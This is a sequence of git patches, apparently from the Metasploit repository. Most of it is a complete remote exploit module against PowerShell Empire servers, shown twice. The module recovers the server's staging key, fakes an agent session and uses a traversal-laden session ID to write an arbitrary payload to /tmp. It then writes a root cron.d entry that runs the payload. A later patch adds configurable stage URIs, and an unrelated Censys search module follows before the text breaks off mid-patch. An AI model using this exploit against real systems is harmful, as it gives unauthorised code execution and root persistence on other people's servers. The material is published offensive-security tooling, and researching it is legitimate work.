sqlite_query_opts = Rex::Parser::Arguments.new( '-h' => [ false, 'Help Banner' ], From 7e68f7d2a4c74ca2aa2146780266427c69539b07 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Mon, 17 Oct 2016 10:03:07 -0400 Subject: [PATCH 029/157] EmpirePowerShell Arbitrary File Upload (Skywalker) --- .../exploits/linux/http/empire_skywalker.rb | 242 ++++++++++++++++++ 1 file changed, 242 insertions(+) create mode 100644 modules/exploits/linux/http/empire_skywalker.rb diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb new file mode 100644 index 0000000000..5d26d6dbb4 --- /dev/null +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -0,0 +1,242 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + TASK_DOWNLOAD = 41 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', + 'Description' => %q{ + A vulnerability existed in the PowerShellEmpire server prior to commit + f030cf62 which would allow an arbitrary file to be written to an + attacker controlled location with the permissions of the Empire server. + + This exploit will write the payload to /tmp/ directory followed by a + cron.d file to execute the payload. + }, + 'Author' => + [ + 'Spencer McIntyre', # Vulnerability discovery & Metasploit module + 'Erik Daguerre' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/'] + ], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => %w{ linux python }, + 'Targets' => + [ + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + ], + 'DefaultOptions' => { 'WfsDelay' => 75 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 15 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), + OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe if get_staging_key.nil? + + Exploit::CheckCode::Appears + end + + def aes_encrypt(key, data, include_mac=false) + cipher = OpenSSL::Cipher::AES256.new(:CBC) + cipher.encrypt + iv = cipher.random_iv + cipher.key = key + cipher.iv = iv + data = iv + cipher.update(data) + cipher.final + + digest = OpenSSL::Digest.new('sha1') + data << OpenSSL::HMAC.digest(digest, key, data) if include_mac + + data + end + + def create_packet(res_id, data, counter=nil) + data = Rex::Text::encode_base64(data) + counter = Time.new.to_i if counter.nil? + + [ res_id, counter, data.length ].pack('VVV') + data + end + + def reversal_key + # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) + [ + [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], + [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], + [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], + [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] + ] + end + + def rsa_encode_int(value) + encoded = [] + while value > 0 do + encoded << (value & 0xff) + value >>= 8 + end + + Rex::Text::encode_base64(encoded.reverse.pack('C*')) + end + + def rsa_key_to_xml(rsa_key) + rsa_key_xml = "\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.e.to_i) }\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.n.to_i) }\n" + rsa_key_xml << "" + + rsa_key_xml + end + + def get_staging_key + # empire STAGE0_URI index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.asp') + }) + return unless res and res.code == 200 + + staging_key = Array.new(32, nil) + staging_data = res.body.bytes + + reversal_key.each_with_index do |(pos, char_code), key_pos| + staging_key[key_pos] = staging_data[pos] ^ char_code + end + + return if staging_key.include? nil + + # at this point the staging key should have been fully recovered but + # we'll verify it by attempting to decrypt the header of the stage + decrypted = [] + staging_data[0..23].each_with_index do |byte, pos| + decrypted << (byte ^ staging_key[pos]) + end + return unless decrypted.pack('C*').downcase == 'function start-negotiate' + + staging_key + end + + def write_file(path, data, session_id, session_key, server_epoch) + # target_url.path default traffic profile for empire agent communication + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 + data = create_packet( + TASK_DOWNLOAD, + [ + '0', + session_id + path, + Rex::Text::encode_base64(data) + ].join('|'), + server_epoch + ) + + if datastore['PROFILE'].blank? + profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample) + else + profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) + end + + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(session_key, data, include_mac=true), + 'method' => 'POST', + 'uri' => normalize_uri(profile_uri) + }) + fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200 + + res + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << "\n" + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << "\n" + cron_file << "* * * * * root #{command}" + cron_file << "\n" + + cron_file + end + + def exploit + vprint_status('Recovering the staging key...') + staging_key = get_staging_key + if staging_key.nil? + fail_with(Failure::Unknown, 'Failed to recover the staging key') + end + vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}") + staging_key = staging_key.pack('C*') + + rsa_key = OpenSSL::PKey::RSA.new(2048) + session_id = Array.new(50, '..').join('/') + # empire STAGE1_URI index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.jsp') + }) + fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 + vprint_status("Successfully sent the RSA key") + + # decrypt the response and pull out the epoch and session_key + body = rsa_key.private_decrypt(res.body) + server_epoch = body[0..9].to_i + session_key = body[10..-1] + print_status('Successfully negotiated an artificial Empire agent') + + payload_data = nil + payload_path = '/tmp/' + rand_text_alpha(8) + + case target['Arch'] + when ARCH_PYTHON + cron_command = "python #{payload_path}" + payload_data = payload.raw + + when ARCH_X86, ARCH_X86_64 + cron_command = "chmod +x #{payload_path} && #{payload_path}" + payload_data = payload.encoded_exe + + end + + print_status("Writing payload to #{payload_path}") + write_file(payload_path, payload_data, session_id, session_key, server_epoch) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + + write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) + print_status("Waiting for cron job to run, can take up to 60 seconds") + + register_files_for_cleanup(cron_path) + register_files_for_cleanup(payload_path) + # Empire writes to a log file location based on the Session ID, so when + # exploiting this vulnerability that file ends up in the root directory. + register_files_for_cleanup('/agent.log') + end +end From e806466fe30005c7deb82423a26d05938cab9b92 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Mon, 17 Oct 2016 10:31:39 -0400 Subject: [PATCH 030/157] correct carriage return and link issue --- .../exploits/linux/http/empire_skywalker.rb | 484 +++++++++--------- 1 file changed, 242 insertions(+), 242 deletions(-) diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb index 5d26d6dbb4..66243942c5 100644 --- a/modules/exploits/linux/http/empire_skywalker.rb +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -1,242 +1,242 @@ -## -# This module requires Metasploit: http//metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class MetasploitModule < Msf::Exploit::Remote - Rank = ExcellentRanking - - include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper - - TASK_DOWNLOAD = 41 - - def initialize(info = {}) - super(update_info(info, - 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', - 'Description' => %q{ - A vulnerability existed in the PowerShellEmpire server prior to commit - f030cf62 which would allow an arbitrary file to be written to an - attacker controlled location with the permissions of the Empire server. - - This exploit will write the payload to /tmp/ directory followed by a - cron.d file to execute the payload. - }, - 'Author' => - [ - 'Spencer McIntyre', # Vulnerability discovery & Metasploit module - 'Erik Daguerre' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'References' => [ - ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/'] - ], - 'Payload' => - { - 'DisableNops' => true, - }, - 'Platform' => %w{ linux python }, - 'Targets' => - [ - [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], - [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], - [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] - ], - 'DefaultOptions' => { 'WfsDelay' => 75 }, - 'DefaultTarget' => 0, - 'DisclosureDate' => 'Oct 15 2016')) - - register_options( - [ - Opt::RPORT(8080), - OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), - OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) - ], self.class) - end - - def check - return Exploit::CheckCode::Safe if get_staging_key.nil? - - Exploit::CheckCode::Appears - end - - def aes_encrypt(key, data, include_mac=false) - cipher = OpenSSL::Cipher::AES256.new(:CBC) - cipher.encrypt - iv = cipher.random_iv - cipher.key = key - cipher.iv = iv - data = iv + cipher.update(data) + cipher.final - - digest = OpenSSL::Digest.new('sha1') - data << OpenSSL::HMAC.digest(digest, key, data) if include_mac - - data - end - - def create_packet(res_id, data, counter=nil) - data = Rex::Text::encode_base64(data) - counter = Time.new.to_i if counter.nil? - - [ res_id, counter, data.length ].pack('VVV') + data - end - - def reversal_key - # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) - [ - [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], - [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], - [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], - [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] - ] - end - - def rsa_encode_int(value) - encoded = [] - while value > 0 do - encoded << (value & 0xff) - value >>= 8 - end - - Rex::Text::encode_base64(encoded.reverse.pack('C*')) - end - - def rsa_key_to_xml(rsa_key) - rsa_key_xml = "\n" - rsa_key_xml << " #{ rsa_encode_int(rsa_key.e.to_i) }\n" - rsa_key_xml << " #{ rsa_encode_int(rsa_key.n.to_i) }\n" - rsa_key_xml << "" - - rsa_key_xml - end - - def get_staging_key - # empire STAGE0_URI index.asp - # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 - res = send_request_cgi({ - 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'index.asp') - }) - return unless res and res.code == 200 - - staging_key = Array.new(32, nil) - staging_data = res.body.bytes - - reversal_key.each_with_index do |(pos, char_code), key_pos| - staging_key[key_pos] = staging_data[pos] ^ char_code - end - - return if staging_key.include? nil - - # at this point the staging key should have been fully recovered but - # we'll verify it by attempting to decrypt the header of the stage - decrypted = [] - staging_data[0..23].each_with_index do |byte, pos| - decrypted << (byte ^ staging_key[pos]) - end - return unless decrypted.pack('C*').downcase == 'function start-negotiate' - - staging_key - end - - def write_file(path, data, session_id, session_key, server_epoch) - # target_url.path default traffic profile for empire agent communication - # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 - data = create_packet( - TASK_DOWNLOAD, - [ - '0', - session_id + path, - Rex::Text::encode_base64(data) - ].join('|'), - server_epoch - ) - - if datastore['PROFILE'].blank? - profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample) - else - profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) - end - - res = send_request_cgi({ - 'cookie' => "SESSIONID=#{session_id}", - 'data' => aes_encrypt(session_key, data, include_mac=true), - 'method' => 'POST', - 'uri' => normalize_uri(profile_uri) - }) - fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200 - - res - end - - def cron_file(command) - cron_file = 'SHELL=/bin/sh' - cron_file << "\n" - cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' - cron_file << "\n" - cron_file << "* * * * * root #{command}" - cron_file << "\n" - - cron_file - end - - def exploit - vprint_status('Recovering the staging key...') - staging_key = get_staging_key - if staging_key.nil? - fail_with(Failure::Unknown, 'Failed to recover the staging key') - end - vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}") - staging_key = staging_key.pack('C*') - - rsa_key = OpenSSL::PKey::RSA.new(2048) - session_id = Array.new(50, '..').join('/') - # empire STAGE1_URI index.asp - # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 - res = send_request_cgi({ - 'cookie' => "SESSIONID=#{session_id}", - 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'index.jsp') - }) - fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 - vprint_status("Successfully sent the RSA key") - - # decrypt the response and pull out the epoch and session_key - body = rsa_key.private_decrypt(res.body) - server_epoch = body[0..9].to_i - session_key = body[10..-1] - print_status('Successfully negotiated an artificial Empire agent') - - payload_data = nil - payload_path = '/tmp/' + rand_text_alpha(8) - - case target['Arch'] - when ARCH_PYTHON - cron_command = "python #{payload_path}" - payload_data = payload.raw - - when ARCH_X86, ARCH_X86_64 - cron_command = "chmod +x #{payload_path} && #{payload_path}" - payload_data = payload.encoded_exe - - end - - print_status("Writing payload to #{payload_path}") - write_file(payload_path, payload_data, session_id, session_key, server_epoch) - - cron_path = '/etc/cron.d/' + rand_text_alpha(8) - print_status("Writing cron job to #{cron_path}") - - write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) - print_status("Waiting for cron job to run, can take up to 60 seconds") - - register_files_for_cleanup(cron_path) - register_files_for_cleanup(payload_path) - # Empire writes to a log file location based on the Session ID, so when - # exploiting this vulnerability that file ends up in the root directory. - register_files_for_cleanup('/agent.log') - end -end +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + TASK_DOWNLOAD = 41 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', + 'Description' => %q{ + A vulnerability existed in the PowerShellEmpire server prior to commit + f030cf62 which would allow an arbitrary file to be written to an + attacker controlled location with the permissions of the Empire server. + + This exploit will write the payload to /tmp/ directory followed by a + cron.d file to execute the payload. + }, + 'Author' => + [ + 'Spencer McIntyre', # Vulnerability discovery & Metasploit module + 'Erik Daguerre' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/'] + ], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => %w{ linux python }, + 'Targets' => + [ + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + ], + 'DefaultOptions' => { 'WfsDelay' => 75 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 15 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), + OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe if get_staging_key.nil? + + Exploit::CheckCode::Appears + end + + def aes_encrypt(key, data, include_mac=false) + cipher = OpenSSL::Cipher::AES256.new(:CBC) + cipher.encrypt + iv = cipher.random_iv + cipher.key = key + cipher.iv = iv + data = iv + cipher.update(data) + cipher.final + + digest = OpenSSL::Digest.new('sha1') + data << OpenSSL::HMAC.digest(digest, key, data) if include_mac + + data + end + + def create_packet(res_id, data, counter=nil) + data = Rex::Text::encode_base64(data) + counter = Time.new.to_i if counter.nil? + + [ res_id, counter, data.length ].pack('VVV') + data + end + + def reversal_key + # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) + [ + [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], + [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], + [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], + [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] + ] + end + + def rsa_encode_int(value) + encoded = [] + while value > 0 do + encoded << (value & 0xff) + value >>= 8 + end + + Rex::Text::encode_base64(encoded.reverse.pack('C*')) + end + + def rsa_key_to_xml(rsa_key) + rsa_key_xml = "\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.e.to_i) }\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.n.to_i) }\n" + rsa_key_xml << "" + + rsa_key_xml + end + + def get_staging_key + # empire STAGE0_URI index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'index.asp') + }) + return unless res and res.code == 200 + + staging_key = Array.new(32, nil) + staging_data = res.body.bytes + + reversal_key.each_with_index do |(pos, char_code), key_pos| + staging_key[key_pos] = staging_data[pos] ^ char_code + end + + return if staging_key.include? nil + + # at this point the staging key should have been fully recovered but + # we'll verify it by attempting to decrypt the header of the stage + decrypted = [] + staging_data[0..23].each_with_index do |byte, pos| + decrypted << (byte ^ staging_key[pos]) + end + return unless decrypted.pack('C*').downcase == 'function start-negotiate' + + staging_key + end + + def write_file(path, data, session_id, session_key, server_epoch) + # target_url.path default traffic profile for empire agent communication + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 + data = create_packet( + TASK_DOWNLOAD, + [ + '0', + session_id + path, + Rex::Text::encode_base64(data) + ].join('|'), + server_epoch + ) + + if datastore['PROFILE'].blank? + profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample) + else + profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) + end + + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(session_key, data, include_mac=true), + 'method' => 'POST', + 'uri' => normalize_uri(profile_uri) + }) + fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200 + + res + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << "\n" + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << "\n" + cron_file << "* * * * * root #{command}" + cron_file << "\n" + + cron_file + end + + def exploit + vprint_status('Recovering the staging key...') + staging_key = get_staging_key + if staging_key.nil? + fail_with(Failure::Unknown, 'Failed to recover the staging key') + end + vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}") + staging_key = staging_key.pack('C*') + + rsa_key = OpenSSL::PKey::RSA.new(2048) + session_id = Array.new(50, '..').join('/') + # empire STAGE1_URI index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'index.jsp') + }) + fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 + vprint_status("Successfully sent the RSA key") + + # decrypt the response and pull out the epoch and session_key + body = rsa_key.private_decrypt(res.body) + server_epoch = body[0..9].to_i + session_key = body[10..-1] + print_status('Successfully negotiated an artificial Empire agent') + + payload_data = nil + payload_path = '/tmp/' + rand_text_alpha(8) + + case target['Arch'] + when ARCH_PYTHON + cron_command = "python #{payload_path}" + payload_data = payload.raw + + when ARCH_X86, ARCH_X86_64 + cron_command = "chmod +x #{payload_path} && #{payload_path}" + payload_data = payload.encoded_exe + + end + + print_status("Writing payload to #{payload_path}") + write_file(payload_path, payload_data, session_id, session_key, server_epoch) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + + write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) + print_status("Waiting for cron job to run, can take up to 60 seconds") + + register_files_for_cleanup(cron_path) + register_files_for_cleanup(payload_path) + # Empire writes to a log file location based on the Session ID, so when + # exploiting this vulnerability that file ends up in the root directory. + register_files_for_cleanup('/agent.log') + end +end From 684feb6b50eee6e07a1c5146fc89fe9ebd99b0a8 Mon Sep 17 00:00:00 2001 From: wolfthefallen Date: Tue, 18 Oct 2016 11:47:38 -0400 Subject: [PATCH 031/157] moved STAGE0 and STAGE1 into datastore --- modules/exploits/linux/http/empire_skywalker.rb | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb index 66243942c5..76a59850e9 100644 --- a/modules/exploits/linux/http/empire_skywalker.rb +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -52,6 +52,8 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(8080), OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), + OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), + OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) ], self.class) end @@ -113,11 +115,12 @@ class MetasploitModule < Msf::Exploit::Remote end def get_staging_key - # empire STAGE0_URI index.asp + # STAGE0_URI resource requested by the initial launcher + # The default STAGE0_URI resource is index.asp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'index.asp') + 'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI']) }) return unless res and res.code == 200 @@ -193,13 +196,14 @@ class MetasploitModule < Msf::Exploit::Remote rsa_key = OpenSSL::PKey::RSA.new(2048) session_id = Array.new(50, '..').join('/') - # empire STAGE1_URI index.asp + # STAGE1_URI, The resource used by the RSA key post + # The default STAGE1_URI resource is index.jsp # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 res = send_request_cgi({ 'cookie' => "SESSIONID=#{session_id}", 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'index.jsp') + 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI']) }) fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 vprint_status("Successfully sent the RSA key") From 893a6ef82ee1680587d91995dfe3722517d95fcb Mon Sep 17 00:00:00 2001 From: nixawk Date: Fri, 21 Oct 2016 23:45:44 -0500 Subject: [PATCH 032/157] add censys search module --- modules/auxiliary/gather/censys_search.rb | 134 ++++++++++++++++++++++ 1 file changed, 134 insertions(+) create mode 100644 modules/auxiliary/gather/censys_search.rb diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb new file mode 100644 index 0000000000..dd4cf78a60 --- /dev/null +++ b/modules/auxiliary/gather/censys_search.rb @@ -0,0 +1,134 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' +require 'rex/proto/http' + +class MetasploitModule < Msf::Auxiliary + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Censys Search', + 'Description' => %q{ + The module use the Censys REST API to access the same data + accessible through web interface. The search endpoint allows searches + against the current data in the IPv4, Top Million Websites, and + Certificates indexes using the same search syntax as the primary site. + }, + 'Author' => [ 'Nixawk' ], + 'References' => [ + ['URL', 'https://censys.io/api'] + ], + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('CENSYS_UID', [true, 'The Censys API UID']), + OptString.new('CENSYS_SECRET', [true, 'The Censys API SECRET']), + OptString.new('CENSYS_DORK', [true, 'The Censys Search Dork']), + OptEnum.new('CENSYS_SEARCHTYPE', [true, 'The Censys Search Type', 'certificates', ['certificates', 'ipv4', 'websites']]) + ], self.class) + end + + def basic_auth_header(username, password) + auth_str = username.to_s + ":" + password.to_s + auth_str = "Basic " + Rex::Text.encode_base64(auth_str) + end + + def search(keyword, search_type) + @uri = "https://www.censys.io/api/v1" + # search_type should be one of ipv4, websites, certificates + + begin + # "80.http.get.headers.server: Apache" + payload = { + 'query' => keyword + } + + @cli = Rex::Proto::Http::Client.new('www.censys.io', 443, {}, true) + @cli.connect + + response = @cli.request_cgi( + 'method' => 'post', + 'uri' => "/api/v1/search/#{search_type}", + 'headers' => { 'Authorization' => basic_auth_header(@uid, @secret) }, + 'data' => payload.to_json + ) + + res = @cli.send_recv(response) + + rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT + print_error("HTTP Connection Failed") + end + + unless res + print_error('server_response_error') + return + end + + records = ActiveSupport::JSON.decode(res.body) + results = records['results'] + + if @searchtype.include?('certificates') + parse_certificates(results) + elsif @searchtype.include?('ipv4') + parse_ipv4(results) + elsif @searchtype.include?('websites') + parse_websites(results) + end + end + + def parse_certificates(records) + records.each do |certificate| + # parsed.fingerprint_sha256 + # parsed.subject_dn + # parsed.issuer_dn + print_status(certificate['parsed.fingerprint_sha256'].join(',')) + print_status(certificate['parsed.subject_dn'].join(',')) + print_status(certificate['parsed.issuer_dn'].join(',')) + end + end + + def parse_ipv4(records) + records.each do |ipv4| + # ip + # protocols + print_status("#{ipv4['ip']} - #{ipv4['protocols'].join(',')}") + end + end + + def parse_websites(records) + records.each do |website| + # domain + # alexa_rank + print_status("#{website['domain']} - #{website['alexa_rank']}") + end + end + + # Check to see if www.censys.io resolves properly + def censys_resolvable? + begin + Rex::Socket.resolv_to_dotted("www.censys.io") + rescue RuntimeError, SocketError + return false + end + true + end + + def run + # check to ensure www.censys.io is resolvable + unless censys_resolvable? + print_error("Unable to resolve www.censys.io") + return + end + + @uid = datastore['CENSYS_UID'] + @secret = datastore['CENSYS_SECRET'] + @dork = datastore['CENSYS_DORK'] + @searchtype = datastore['CENSYS_SEARCHTYPE'] + search(@dork, @searchtype) + end +end From c79c102998675aa19ac7f70f6d61854832393710 Mon Sep 17 00:00:00 2001 From: nixawk Date: Fri, 21 Oct 2016 23:59:09 -0500 Subject: [PATCH 033/157] remove unuse variable @uri --- modules/auxiliary/gather/censys_search.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/auxiliary/gather/censys_search.rb b/modules/auxiliary/gather/censys_search.rb index dd4cf78a60..c9cd23e7a6 100644 --- a/modules/auxiliary/gather/censys_search.rb +++ b/modules/auxiliary/gather/censys_search.rb @@ -39,7 +39,6 @@ class MetasploitModule < Msf::Auxiliary end def search(keyword, search_type) - @uri = "https://www.censys.io/api/v1" # search_type should be one of ipv4, websites, certificates begin From 50284cf01bf0cdb36e8a0666f6f8d2e74fb2536e Mon Sep 17 00:00:00 2001 From: Vex Woo Date: Sun, 23 Oct 2016 10:33:17 -0500 Subject: [PATCH 034/157] parse domain/ip info from certificate --- modules/auxiliary/gather/censys_search.rb | 33 ++++++++++++++++++++--- 1 file changed, 30 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/censys_search.rb 